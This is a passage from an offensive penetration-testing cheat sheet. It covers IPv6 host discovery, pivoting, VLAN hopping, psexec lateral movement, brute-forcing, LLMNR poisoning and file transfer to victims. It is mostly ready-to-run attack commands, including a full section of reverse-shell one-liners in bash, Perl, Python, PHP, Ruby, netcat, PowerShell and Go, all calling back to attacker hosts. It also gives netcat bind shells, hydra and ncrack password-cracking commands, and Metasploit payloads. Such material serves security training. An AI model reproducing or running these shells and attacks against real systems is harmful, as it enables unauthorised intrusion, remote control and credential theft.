fe80::a2bd:cdff:fe37:8881 dev wlan0 lladdr a0:bd:cd:37:88:81 router REACHABLE  
```

**using alive6:**

```
iron@kali:~/Documents$ sudo atk6-alive6 eth0
Alive: fe80::8079:79a8:439f:431a [ICMP parameter problem]

Scanned 1 address and found 1 system alive

```

**Using IPv6finder:**

Link: [**https://github.com/phillips321/phillips321/blob/master/ipv6finder.sh**](https://github.com/phillips321/phillips321/blob/master/ipv6finder.sh)

```
root@UK198899:~# ./ipv6finder.sh eth0 
[+]Pinging (ff02::1) broadcast for nodes on link localping6: Warning: source address might be selected on device other than: eth0 
.Done 
[+]Pinging (ff02::2) broadcast for routersping6: Warning: source address might be selected on device other than: eth0 
.Done 
[+]Pinging (ff02::1) broadcast for nodes on Global Interface./ipv6finder.sh: line 41: [: 2a02:c7f:9e17:fc00:20c:29ff:fe65:dde1: binary operator expected 
Done 
[+]ArpScanning local IPv4.Done 
--------------------------------|---------------|--------------------|--------------------|------------- 
                IPV6 Link Local |   IPV6 Global |        MAC Address |        IPV4Address |         Info 
--------------------------------|---------------|--------------------|--------------------|------------- 
 fe80::20c:29ff:fe65:dde1%eth0: |      NotFound |  00:0c:29:65:dd:e1 |       192.168.0.43 |         You? 
 fe80::20c:29ff:feb2:a4bd%eth0: |      NotFound |  00:0c:29:b2:a4:bd |       192.168.0.30 |         Node 
--------------------------------|---------------|--------------------|--------------------|------------- 
```


# Enumeration

Credit to Roxana Kovaci (https\://twitter.com/RoxanaKovaci) and her SteelCon IPv6 workshop

### Ping a host

```
ping6 <IPv6>(ooptional:% <Interface to go out from>) 

root@kali:~/# ping6 dead:beef:0000:0000:0250:56ff:feb9:ec70 
PING dead:beef:0000:0000:0250:56ff:feb9:ec70(dead:beef::250:56ff:feb9:ec70) 56 data bytes 
64 bytes from dead:beef::250:56ff:feb9:ec70: icmp_seq=1 ttl=63 time=32.5 ms 
64 bytes from dead:beef::250:56ff:feb9:ec70: icmp_seq=2 ttl=63 time=40.5 ms 
^C 

--- dead:beef:0000:0000:0250:56ff:feb9:ec70 ping statistics --- 
2 packets transmitted, 2 received, 0% packet loss, time 3ms 
rtt min/avg/max/mdev = 32.458/36.465/40.473/4.012 ms 
```

### Nmap

```
nmap -6 –e enp0s3 –vv -F -sV –iL ipv6_hosts.txt
nmap -6 IPv6-Address-Here
nmap -6 server1.cyberciti.biz
nmap -6 2607:f0d0:1002:51::4
nmap -v A -6 2607:f0d0:1002:51::4
```

### Router advertisement

```
tcpdump filter icmpv6 router advertisement
or
dump_router6 //THC IPV6 tool
```

### SSH

```
root@kali:~/ # ssh -6 loki@dead:beef:0000:0000:0250:56ff:feb9:a37d 
The authenticity of host 'dead:beef::250:56ff:feb9:a37d (dead:beef::250:56ff:feb9:a37d)' can't be established. 
ECDSA key fingerprint is SHA256:deaxXTK7ORthfGcKdblPRUmgNrU20oclqMbwVj3hzYI.Are you sure you want to continue connecting (yes/no)? yes 
Warning: Permanently added 'dead:beef::250:56ff:feb9:a37d' (ECDSA) to the list of known hosts. 
loki@dead:beef::250:56ff:feb9:a37d's password:  
```

### Access web services

`http://[fe80::20c:29ff:fe69:c4e5%eth0]:8888/index.html`

### Curl

`curl -g -6 ”http://[fe80::a00:27ff:fe33:498e%eth0]:8080/test.txt“ -o test.txt`

### SNMP

Note: Consider using Enyx ([https://github.com/trickster0/Enyx](<https://github.com/trickster0/Enyx >))

### SSH over IPv6&#x20;

`ssh -6 user@fe80::30a8:9d3d:3842:8593%eth0`&#x20;

### FTP over IPv6&#x20;

`ftp -6 fe80::a00:27ff:fe33:498e%eth0`

### Telnet over IPv6&#x20;

`telnet -6 fe80::30b8:9d3d:3842:8593%eth0`&#x20;

### MySQL over IPv6:&#x20;

`mysql -h fe80::30b8:9d3d:3842:8593%eth0 -u user -p pass`&#x20;

### RDP over IPv6 on a different port than the default one&#x20;

`rdesktop [fe80::a00:27ff:fe33:498e%eth0]:45001`&#x20;

### Password cracking over IPv6

`hydra -v -f -6 fe80::20c:29ff:fe69:c4e5%eth0 -l root -P passwords.txt ssh`&#x20;

`ncrack -f -6 -v --user admin -P passwords.txt rdp://ipv6-localhost`&#x20;

### Reverse connections for getting a foothold&#x20;

Metasploit framework:

`payload/windows/meterpreter/reverse_ipv6_tcp` &#x20;

or &#x20;

`payload/bsd/x86/shell_reverse_tcp_ipv6, etc`


# Transfering files

Credit to Roxana Kovaci (https\://twitter.com/RoxanaKovaci) and her SteelCon IPv6 workshop

### **Netcat**&#x20;

On the target machine:&#x20;

`ncat -6 -vvlp 4433 -e /bin/bash#` &#x20;

On your attacking box:&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433`&#x20;

**Transferring files to and from your target**&#x20;

`ncat -6 -vvlp 4433 > test.txt`&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433 < test.txt`&#x20;

### SCP&#x20;

`scp test.txt user@[fe80::37a:61b8:958f:40fb%eth0]:/tmp/` &#x20;

`scp user@[fe80::12b:41a7:832a:30bf%eth0]:/tmp/test.txt /home/test/` &#x20;

### Web Server

`python -m SimpleHTTPServer6 8080`


# Pivoting and routes

Credit to Roxana Kovaci (https\://twitter.com/RoxanaKovaci) and her SteelCon IPv6 workshop

### Adding routes

**Using IP:**&#x20;

`# /sbin/ip -6 route add <ipv6network>/<prefixlength> dev <device>`&#x20;

Example:&#x20;

`# /sbin/ip -6 route add default dev eth0 metric 1`&#x20;

or

`# /sbin/ip -6 route add <ipv6> via 2001:0db8:0:f101::1`&#x20;

Metric ”1” is used here to be compatible with the metric used by route, because the default metric on using ”ip” is ”1024”.&#x20;

**Using "route"**:&#x20;

Usage:&#x20;

`# /sbin/route -A inet6 add <ipv6network>/<prefixlength> dev <device>`&#x20;

Example:&#x20;

`# /sbin/route -A inet6 add default dev eth0` &#x20;

### Removing routes

Removing an IPv6 route through an interface&#x20;

Not so often needed to use by hand, configuration scripts will use such on shutdown.&#x20;

**Using "ip"**&#x20;

Usage:&#x20;

`# /sbin/ip -6 route del <ipv6network>/<prefixlength> dev <device>` \
&#x20;Example:&#x20;

`# /sbin/ip -6 route del default dev eth0` &#x20;

**Using "route"**&#x20;

Usage:&#x20;

`# /sbin/route -A inet6 del <network>/<prefixlength> dev <device>`&#x20;

Example:&#x20;

`# /sbin/route -A inet6 del default dev eth0`

### Port-forwarding from IPv6 -> IPv4&#x20;

socat port-forwarding&#x20;

`socat TCP4-LISTEN:8080,reuseaddr,fork TCP6:[fe80::20c:29ff:fe69:c4e5%eth0]:80`&#x20;

\- you can then browse to 127.0.0.1:8080 and reach the IPv6 host on port 80&#x20;

### SSH local port-forwarding&#x20;

`ssh -6 user@fe80::cdf3:42e1:63d8:5227 -L 80:[fe80::20c:29ff:fe69:c4e5%ens33]:80`&#x20;

\- After this, connecting to \[::1]:80 will actually connect to the service on fe80::20c:29ff:fe69:c4e5 on port 80 dynamic port-forwarding&#x20;

`ssh -6 -D 9010 user@fe80::cdf3:42e1:63d8:5227` &#x20;

\- change your proxychains.conf file to point to socks5 ::1 9010&#x20;

After this, prefix all your commands with proxychains:&#x20;

`./proxychains4 -f src/proxychains.conf nmap -sT -p21,80,445,1433,3389 -n -Pn fe80::3c0c:8c8f:6abd:93ae%ens33`&#x20;

quick port scanner through proxychains&#x20;

`while read -r line; do timeout 0.2s ./proxychains4 -f src/proxychains.conf ncat -6 -w1 -z fe80::cdf3:42e1:63d8:5227%ens33 $line 2>&1 | grep OK;done < ports.txt`&#x20;

where ports.txt has port numbers line by line &#x20;

Accessing RDP through the proxychains:&#x20;

`./proxychains4 -f src/proxychains.conf rdesktop fe80::cdf3:42e1:63d8:5227%ens33` &#x20;


# THC IPv6

THC-IPV6-ATTACK-TOOLKIT  (c) 2005-2020 vh\@thc.org https\://github.com/vanhauser-thc/thc-ipv6

#### The THC IPV6 ATTACK TOOLKIT comes already with lots of effective attacking tools:

* parasite6: ICMPv6 neighbor solitication/advertisement spoofer, puts you

  as man-in-the-middle, same as ARP mitm (and parasite)
* alive6: an effective alive scanng, which will detect all systems

  listening to this address
* dnsdict6: parallized DNS IPv6 dictionary bruteforcer
* fake\_router6: announce yourself as a router on the network, with the

  highest priority
* redir6: redirect traffic to you intelligently (man-in-the-middle) with

  a clever ICMPv6 redirect spoofer
* toobig6: mtu decreaser with the same intelligence as redir6
* detect-new-ip6: detect new IPv6 devices which join the network, you can

  run a script to automatically scan these systems etc.
* dos-new-ip6: detect new IPv6 devices and tell them that their chosen IP

  collides on the network (DOS).
* trace6: very fast traceroute6 with supports ICMP6 echo request and TCP-SYN
* flood\_router6: flood a target with random router advertisements
* flood\_advertise6: flood a target with random neighbor advertisements
* fuzz\_ip6: fuzzer for IPv6&#x20;
* implementation6: performs various implementation checks on IPv6&#x20;
* implementation6d: listen daemon for implementation6 to check behind a FW
* fake\_mld6: announce yourself in a multicast group of your choice on the net
* fake\_mld26: same but for MLDv2
* fake\_mldrouter6: fake MLD router messages
* fake\_mipv6: steal a mobile IP to yours if IPSEC is not needed for authentication
* fake\_advertiser6: announce yourself on the network
* smurf6: local smurfer
* rsmurf6: remote smurfer, known to work only against linux at the moment
* exploit6: known IPv6 vulnerabilities to test against a target
* denial6: a collection of denial-of-service tests againsts a target
* thcping6: sends a hand crafted ping6 packet
* sendpees6: a tool by <willdamn@gmail.com>, which generates a neighbor

  solicitation requests with a lot of CGAs (crypto stuff ;-) to keep the

  CPU busy. nice.

  and about 25 more tools for you to discover :-)

### Discover Hosts:&#x20;

```
root@kali:~# atk6-alive6 eth0 
Alive: 2a02:c7f:9e17:fc00:20c:29ff:fe89:235a [ICMP echo-reply] 
Alive: 2a02:c7f:9e17:fc00:20c:29ff:feb2:a4bd [ICMP echo-reply] 

Scanned 1 address and found 2 systems alive 
```

### Discover routers

`root@kali:~# dump_router6`&#x20;


# Gaining Access


# IP Forwarding

## Info

Detects whether the remote device has ip forwarding or "Internet connection sharing" enabled, by sending an ICMP echo request to a given target using the scanned host as default gateway.

### Check status

```
# sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1
```

### enable  ip forwarding

```
sysctl -w net.ipv4.ip_forward=1
```

### How to identify systems on the local LAN

Use your favourite ARP scanning to identify systems on the local LAN. Save the output (I use to arp.txt in the example below).

* For IPv4
  * `arp-scan -l`

    * `arp-scan -l`

    ```
     arp-scan -l | tee arp_scan_macs.txt


     Interface: eth0, datalink type: EN10MB (Ethernet)
     Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
     10.0.0.100     00:13:72:09:ad:76       Dell Inc.
     10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
     10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

     3 packets received by filter, 0 packets dropped by kernel
     Ending arp-scan 1.6: 256 hosts scanned in 2.099 seconds (121.96 hosts/sec).  3 responded
    ```
  * `arp`

    * `arp -a`

    ```
     arp -a | tee arp_macs.txt

     (10.10.2.1) at 1f:2e:39:d7:2f:04 [ether] on eth0
     (10.10.2.3) at 1f:23:39:d8:2e:44 [ether] on eth0
    ```
* For IPv6
  * `ip` `ip -6 neighbor`

    ```
     fe80::ca21:aabe:fdc6:d7c1 dev eth0 lladdr f9:42:64:d6:0a:d5 router STALE
    ```

## Nmap Usage

`sudo nmap -sn  --script ip-forwarding --script-args='target=www.example.com'`

Example:

```
root@Kali:~# nmap -sn 192.168.0.30 --script ip-forwarding --script-args='target=192.168.73.130'
Starting Nmap 7.80 (https://nmap.org) at 2020-01-23 14:20 GMT
Nmap scan report for 192.168.0.30
Host is up (0.00097s latency).
MAC Address: 00:0C:29:B2:A4:BD (VMware)

Host script results:
| ip-forwarding:
|_ The host has ip forwarding enabled, tried ping against (192.168.73.130)
```

## Nessus

Look for 'IP Forwarding Enabled'

## Gateway Finder

<https://github.com/pentestmonkey/gateway-finder>

Gateway-finder is a scapy script that will help you determine which of the systems on the local LAN has IP forwarding enabled and which can reach the Internet.

### Usage

Collet mac address of the hosts you want to check

`arp-scan -l | tee arp.txt`

Step 2: Run gateway-finder on the list of local systems

Gateway-finder needs two bits of input from you:

* The MAC addresses of the potential gateways
* The IP address of a system on the Internet (I use a google.com address in the example below):

If arp.txt also contains an IP of each system on the same line as the MAC, you'll get much nicer output. If you need to use a different network interfaces, use the -I option.

`python gateway-finder.py -f arp.txt -i 209.85.227.99`

```
# python gateway-finder.py -f arp.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder

[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in arp.txt
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route ICMP Ping packets to 209.85.227.99.  Received ICMP TTL Exceeded in transit response.
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route TCP packets 209.85.227.99:80.  Received ICMP TTL Exceeded in transit response.
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] Done

```

## Gateway Finder imp

Link: <https://github.com/whitel1st/gateway-finder-imp>

Usage:

* `sudo python3 gateway-finder-imp.py`
  * `-h` - help
  * `-M <MAC>` - use file with next-hop MACs
  * `-m <file_with_MACs>` - use selected next-hop MAC
  * `-d <IP>` - use selected destination IPs
  * `-D <file_with_IPs>` - use file with selected destination IPs
  * `-i <interface_name>` - use selected network interface
  * `-p <port_1> <port_2> ... <port_n>` - use ports
  * `--v` - verbose mode
  * `--vv` - maximum verbosity
* examples
  * `gateway-finder-imp.py -d 8.8.8.8 -m de:ad:be:af:de:ad -i enp0s31f6` use selected next-hop MAC and selected destination IP
  * `gateway-finder-imp.py -D dst_hosts.txt -M next_hop_macs.txt -i wlp3s0` - use selected next-hop MAC and file with selected destination IPs
  * `gateway-finder-imp.py -d 8.8.8.8 -M next_hop_macs.txt -i eth0` - use file with next-hop MACs and file with selected destination IPs
  * `gateway-finder-imp.py -D file_with_dst_IPs.txt -M file_with_nex_hop_MACs.txt -i eth1 -p 22 443 80 8080 23`
  * `gateway-finder-imp.py -d 2a00:1450:4010:c05::64 -M mac_with_ipv6_0.txt -i wlp3s0 -p 443 80 -6 --vTries to find a layer-3 gateway to the Internet. Attempts to reach an IP`


# VLAN Information

## View VLAN Information

View VLAN ID:

```
 ip -d link show dev eth0 | grep 'vlan protocol'
```

## VLAN hopping

Yersinia is a framework for performing layer 2 attacks. It is designed to take advantage of some weaknesses in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Attacks for the following network protocols are implemented in this particular release:

* Spanning Tree Protocol (STP)
* Cisco Discovery Protocol (CDP)
* Dynamic Trunking Protocol (DTP)
* Dynamic Host Configuration Protocol (DHCP)
* Hot Standby Router Protocol (HSRP)
* 802.1q
* 802.1x
* Inter-Switch Link Protocol (ISL)
* VLAN Trunking Protocol (VTP)

Come build into Kali.

### Help menu

```
root@kali:~# yersinia -h
    ۲�۲��
   �������۲�
 ۲��������۲�
�����۱����������
����۱������������
����۱�������������               Yersinia...
������������������۲��
۲���۱��������������۲��         The Black Death for nowadays networks
 ������۱�����������������
 �������۱���������������۲�             by Slay & tomac
  ۲�����۱�������������������
     �����۱�������������������        http://www.yersinia.net
      ۲����۱���������������۲            yersinia@yersinia.net
       ۲�����۱���������������
         �������۱����������۲�
         �۲���������۱�������     Prune your MSTP, RSTP, STP trees!!!!
             �������������۲�


Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]
       -V   Program version.
       -h   This help screen.
       -G   Graphical mode (GTK).
       -I   Interactive mode (ncurses).
       -D   Daemon mode.
       -d   Debug.
       -l logfile   Select logfile.
       -c conffile  Select config file.
  protocol   One of the following: cdp, dhcp, dot1q, dot1x, dtp, hsrp, isl, mpls, stp, vtp.

Try 'yersinia protocol -h' to see protocol_options help

Please, see the man page for a full list of options and many examples.
Send your bugs & suggestions to the Yersinia developers <yersinia@yersinia.net>



MOTD: The Hakin9 magazine owe money to us... 500 Euros 
```

### Graphical interface:

yersinia -G

### To Abuse DTP:

```
click "Launch attack" 
click the tab "DTP" 
click "enable trunking" 
click "ok" 
```

And now add the new route you want to attack:

```
modprobe 8021q
vconfig add eth {VLAN Number}
ifconfig eth0.200 up
Ifconfig eth.200 {ip range} up
```


# Psexec

Execute a command-line process on a remote machine.

## Impacket psexec

```
iron@kali2:~$ psexec.py Administrator:Password@192.168.0.52 
Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation 
[*] Requesting shares on 192.168.0.52..... 
[*] Found writable share ADMIN$ 
[*] Uploading file nuoeaJhE.exe 
[*] Opening SVCManager on 192.168.0.52..... 
[*] Creating service hzgf on 192.168.0.52..... 
[*] Starting service hzgf..... 
[!] Press help for extra shell commands 
Microsoft Windows [Version 6.2.9200] 
(c) 2012 Microsoft Corporation. All rights reserved. 
C:\Windows\system32>whoami 
nt authority\system 
```

## Metasploit

```
msf5 exploit(windows/smb/psexec) > show options  
Module options (exploit/windows/smb/psexec): 
   Name                  Current Setting   Required  Description 
   ----                  ---------------   --------  ----------- 
   RHOSTS                192.168.0.52      yes       The target host(s), range CIDR identifier, or hosts file with syntax '
file:<path>
' 
   RPORT                 445               yes       The SMB service port (TCP) 
   SERVICE_DESCRIPTION                     no        Service description to to be used on target for pretty listing 
   SERVICE_DISPLAY_NAME                    no        The service display name 
   SERVICE_NAME                            no        The service name 
   SHARE                 ADMIN$            yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share 
   SMBDomain             .                 no        The Windows domain to use for authentication 
   SMBPass               ServicePass_b123  no        The password for the specified username 
   SMBUser               Administrator     no        The username to authenticate as 
Payload options (windows/meterpreter/reverse_tcp): 
   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none) 
   LHOST     192.168.0.51     yes       The listen address (an interface may be specified) 
   LPORT     4444             yes       The listen port 
Exploit target: 
   Id  Name 
   --  ---- 
   0   Automatic 
msf5 exploit(windows/smb/psexec) > run 
[*] Started reverse TCP handler on 192.168.0.51:4444  
[*] 192.168.0.52:445 - Connecting to the server... 
[*] 192.168.0.52:445 - Authenticating to 192.168.0.52:445 as user 'Administrator'... 
[*] 192.168.0.52:445 - Selecting PowerShell target 
[*] 192.168.0.52:445 - Executing the payload... 
[+] 192.168.0.52:445 - Service start timed out, OK if running a command or non-service executable... 
[*] Sending stage (180291 bytes) to 192.168.0.52 
[*] Meterpreter session 1 opened (192.168.0.51:4444 -> 192.168.0.52:49162) at 2020-03-16 09:38:33 +0000 
meterpreter >  
```

## Sysinternals

<https://docs.microsoft.com/en-us/sysinternals/downloads/psexec>

```
PsExec.exe /accepteula \\192.168.1.2 -u CORP\user -p password cmd.exe
```


# Upgrading shell

Have fully interactive shell

## Linux&#x20;

```
root@r1:~# python3 -c 'import pty;pty.spawn("/bin/bash")' 
python3 -c 'import pty;pty.spawn("/bin/bash")' 
root@r1:~# ^Z 
[1]+  Stopped                  
nc -nlvp 8001 
root@Kali:~/# stty raw -echo 
write ‘fg' and enter 
root@DESKTOP99:~/# nc -nlvp 8001 
root@r1:~# ls 
test_intercept.pcap  user.txt 
root@r1:~# cat 
/bin/   dev/   home/  lib64/ mnt/   proc/  run/   snap/  sys/   usr/boot/  etc/   lib/   media/ opt/   root/  sbin/  srv/   tmp/   var/ 
root@r1:~# 
```

## Windows Host

```
root@kali# rlwrap nc -lnvp 443 
Ncat: Version 7.70 (https://nmap.org/ncat) 
Ncat: Listening on :::443 
Ncat: Listening on 0.0.0.0:443 
Ncat: Connection from 10.10.10.130. 
Ncat: Connection from 10.10.10.130:49720. 
Microsoft Windows [Version 10.0.17763.107] 
(c) 2018 Microsoft Corporation. All rights reserved. 
C:\tomcat\apache-tomcat-8.5.37\bin>whoami 
arkham\alfred 
```


# Reverse Shells One-Liners

Common reverse shells

### Bash&#x20;

`bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`&#x20;

### Perl&#x20;

`perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`&#x20;

### URL-Encoded Perl: Linux&#x20;

`echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew`&#x20;

### Perl (Windows):&#x20;

`perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'`&#x20;

`perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`&#x20;

### Python&#x20;

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`&#x20;

### Python v6

`python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'`

### PHP&#x20;

`php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`&#x20;

### Ruby&#x20;

`ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`&#x20;

### Netcat&#x20;

`nc -e /bin/sh ATTACKING-IP 80` \
`/bin/sh | nc ATTACKING-IP 80` \
`rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p`&#x20;

### Netcat without -e #1&#x20;

`rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f`&#x20;

### Netcat without -e #2&#x20;

`nc localhost 443 | /bin/sh | nc localhost 444` \
or \
`telnet localhost 443 | /bin/sh | telnet localhost 444`&#x20;

### Java&#x20;

`r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]); p.waitFor();`&#x20;

### Xterm&#x20;

`xterm -display 10.0.0.1:1`&#x20;

### Java Debug Wire Protocol (JDWP) RCE&#x20;

\``print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())`&#x20;

### PowerShell&#x20;

`powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"`&#x20;

### Nishang

`$callback = New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()`

### Jenkis Server&#x20;

`println "cmd /c whoami".execute().text`&#x20;

### Golang

`echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go`


# Bruteforce

force your way through

## By Protocol

### RDP

#### RDPassSpray

Link: <https://github.com/xFreed0m/RDPassSpray>

## By Tools

### Hydra&#x20;

`hydra 10.0.0.1 http-post-form “/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid” -P /usr/share/wordlists/rockyou.txt -l admin`&#x20;

**SMTP**:

`hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp –V`&#x20;

**SSH user with password list**&#x20;

`hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22`&#x20;

### Ncrack&#x20;

RDP user with password list&#x20;

`ncrack -vv --user offsec -P passwords rdp://10.10.10.10`&#x20;

### Medusa&#x20;

FTP user with password list&#x20;

`medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp`&#x20;


# MITM cleartext protocols

## PCreds

This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

<https://github.com/lgandx/PCredz>


# Null session

null session is an anonymous connection to an inter-process communication network service on Windows-based computers

## From windows

```
net use \\TARGET\IPC$ "" /u:"" 
```

## From Linux

```
smbclient -L //192.168.99.131 
smbclient //10.10.10.100/Replication -U ""%"" 
rpcclient -U "" 10.10.10.10 
```

## CME

```
crackmapexec smb 10.10.10.192 -u 'anonymous' -p ''
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\anonymous: 
```


# LLMNR / NBT NS Spoofing

## Metasplpoit

`auxiliary/spoof/llmnr/llmnr_response` \
`auxiliary/spoof/nbns/nbns_response`&#x20;

Capture the hashes:&#x20;

`auxiliary/server/capture/smb` \
`auxiliary/server/capture/http_ntlm`&#x20;

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.&#x20;

## Responder

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

```
git clone https://github.com/lgandx/Responder 
python Responder.py -i local-ip -I eth0 
```

## C# version - Inveigh

Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool

<https://github.com/Kevin-Robertson/InveighZero>


# Port knocking

Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access.

To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

**Example:**&#x20;

`for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done`&#x20;

OR&#x20;

`ports="40809 50212 46969"; for port in $ports; do echo "a" | nc -u -w 1 10.10.10.96 ${port}; sleep 0.5; done; echo "knock done"; nc -w 1 -nvv 10.10.10.96 22`&#x20;


# Downloading/Transfer files

Download files to the victim machine

## Simple Local Web Servers

| Command                                                                                                  | Description                                                      |
| -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| python -m SimpleHTTPServer 80                                                                            | Run a basic http server, great for serving up shells etc         |
| python3 -m http.server                                                                                   | Run a basic Python3 http server, great for serving up shells etc |
| <p>ruby -rwebrick -e "WEBrick::HTTPServer.new </p><p>(:Port => 80, :DocumentRoot => Dir.pwd).start" </p> | Run a ruby webrick basic http server                             |
| php -S 0.0.0.0:80                                                                                        | Run a basic PHP http server                                      |

## Updog

Link: [https://github.com/sc0tfree/updog ](<https://github.com/sc0tfree/updog >)

Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use http basic auth.

Install using pip:

`pip3 install updog`

### Usage

`updog [-d DIRECTORY] [-p PORT] [--password PASSWORD] [--ssl]`

## SMTP Server

Link: <https://github.com/hackerscrolls/simplesmtp>

Usage: `go run simplesmtp.go -save -i 0.0.0.0 -p 25`

## Windows

### curl&#x20;

Since Win10 1809 there is a build in curl &#x20;

```
C:\Users\IEUser>curl.exe 
curl: try 'curl --help' for more information 
C:\Users\IEUser>curl.exe google.com/robots.txt 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>301 Moved Permanently</title> 
</head><body> 
<h1>Moved Permanently</h1> 
<p>The document has moved <a href="http://www.google.com/robots.txt">here</a>.</p> 
<hr> 
</body></html> 
C:\Users\IEUser> 
```

### wget

Wget is alias to Invoke-WebRequest in powershell

```
PS C:\Users\Idan> wget google.com/robots.txt


StatusCode        : 200
StatusDescription : OK
Content           : User-agent: *
                    Disallow: /search
                    Allow: /search/about
                    Allow: /search/static
                    Allow: /search/howsearchworks
                    Disallow: /sdch
                    Disallow: /groups
                    Disallow: /index.html?
                    Disallow: /?
                    Allow: /?hl=
                    Disallow: /?...
RawContent        : HTTP/1.1 200 OK
                    Vary: Accept-Encoding
                    X-Content-Type-Options: nosniff
